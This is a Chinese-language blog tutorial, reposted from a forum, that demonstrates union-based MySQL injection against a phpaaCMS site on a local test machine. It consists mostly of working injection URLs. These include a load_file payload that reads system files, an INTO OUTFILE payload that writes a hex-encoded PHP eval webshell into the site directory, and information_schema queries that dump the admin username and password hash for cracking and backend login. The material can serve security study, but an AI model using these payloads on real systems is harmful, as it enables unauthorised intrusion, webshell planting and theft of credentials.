测试环境为win7sp1+iis7.5+mysql5.1,目标为一个小型phpcms网站,存在注入的地址为http://127.0.0.1:8080/show.php?id=2
一. Root权限下的mysql注入
直接在网址后面添加引号http://127.0.0.1:8080/show.php?id=2'
直接爆出为Mysql数据库,使用xor 1=1 xor 1=2确定为整数型注入;
确定mysql版本号,提交http://127.0.0.1:8080/show.php?id=2 and ord(mid(version(),1,1))>51,返回正确,版本大于5.1,支持union查询;
使用order by 确认字段数,15时正确,16时错误,得出字段长度为15;
显示字段位置http://127.0.0.1:8080/show.php?id=2 and 1<1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,显示出3和11位置
现在我们来确认当前用户权限,提交http://127.0.0.1:8080/show.php?id=2 and 1<1 union select 1,2,user(),4,5,6,7,8,9,10,database(),12,13,14,15
是root权限哦,从root@localhost可以看出当前网站和数据库是位于同一台机器上的,当然我们是在自己的电脑上测试的
既然是root权限,而且是×××注入,我们就可以load_file()了,也可以导出webshell了,我们在3,或11的位置显示load_file()内容,http://127.0.0.1:8080/show.php?id=2 and 1<1 union select 1,2,load_file('c:\boot.ini'),4,5,6,7,8,9,10,11,12,13,14,15结果没显示出内容,原因是多种多样的,可能3,11的位置不支持字符,也可能二者位置的长度定义的太短,继续提交http://127.0.0.1:8080/show.php?id=2 and 1=2 union select 1,2,load_file(char(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15
成功爆出c:\boot.ini内容,其中char(99,58,47,98,111,111,116,46,105,110,105)是c:\boot.ini的ascii编码 我们结合out_file来显示内容,前提是知道当前网站路径,直接访问http://127.0.0.1:8080/data/爆出当前网站路径(php启用了错误提示,否则爆路径就得想办法猜解了)
接着结合outfile生成webshell,提交http://127.0.0.1:8080/show.php?id=2 and 1=2 union select 1,2,0x3C3F706870206576616C28245F504F53545B7A5D293B3F3E,4,5,6,7,8,9,10,11,12,13,14,15 into outfile'F:\\websites\\phpaaCMS-UTF8-0.3.1\\phpaaCMS-UTF8-0.3.1\\1.php'其中0x3C3F706870206576616C28245F504F53545B7A5D293B3F3E是一句话***的16进制编码,用一句话客户端连接一下
成功
二,非root权限下的注入,利用information_schema系统表
非root权限的用户一般是没有load_file的权限的,因为load_file需要FILE权限,而普通用户一般情况下是没有FILE权限的,这时的注入思路就跟asp下差不多了,但是mysql 5以上的版本有个非常有利的条件就是里面存储了一个系统库information_schema,这个表存储了数据库的系统信息,只要存在注入基本可以确定拿下用户密码,mysql下的表,字段等猜解不再测试,跟asp差不多,现在我们利用information_schema来猜解密码
上文已知,注入地址,及union查询下可显示的字段位置为3,11
http://127.0.0.1:8080/show.php?id=2 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
提交http://127.0.0.1:8080/show.php?id=2 and 1=2 union select 1,2,unhex(hex(group_concat(schema_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.schemata,爆出所有数据库名
判断当前数据库名称为phpaa
接着判断当前数据库下的所有的表名称,提交http://127.0.0.1:8080/show.php?id=2 and 1=2 union select 1,2,unhex(hex(group_concat(table_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=0x7068706161,爆出当前数据库下所有的表名称,其中0x7068706161是phpaa的hex编码
发现cms_users这个表比较敏感,接着查询这个表下的所有字段名称,提交http://127.0.0.1:8080/show.php?id=2 and 1=2 union select 1,2,unhex(hex(group_concat(column_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273,
显然字段为用户名和密码字段为username,password,查询之,提交http://127.0.0.1:8080/show.php?id=2 and 1=2 union select 1,2,username,4,5,6,7,8,9,10,password,12,13,14,15 from cms_users
上md5网站解这个md5hash,发现为admin,用这个用户成功登陆后台
本文摘自:http://www.fsafe.com/forum/read.php?tid=267
转载于:https://blog.51cto.com/obnus/505260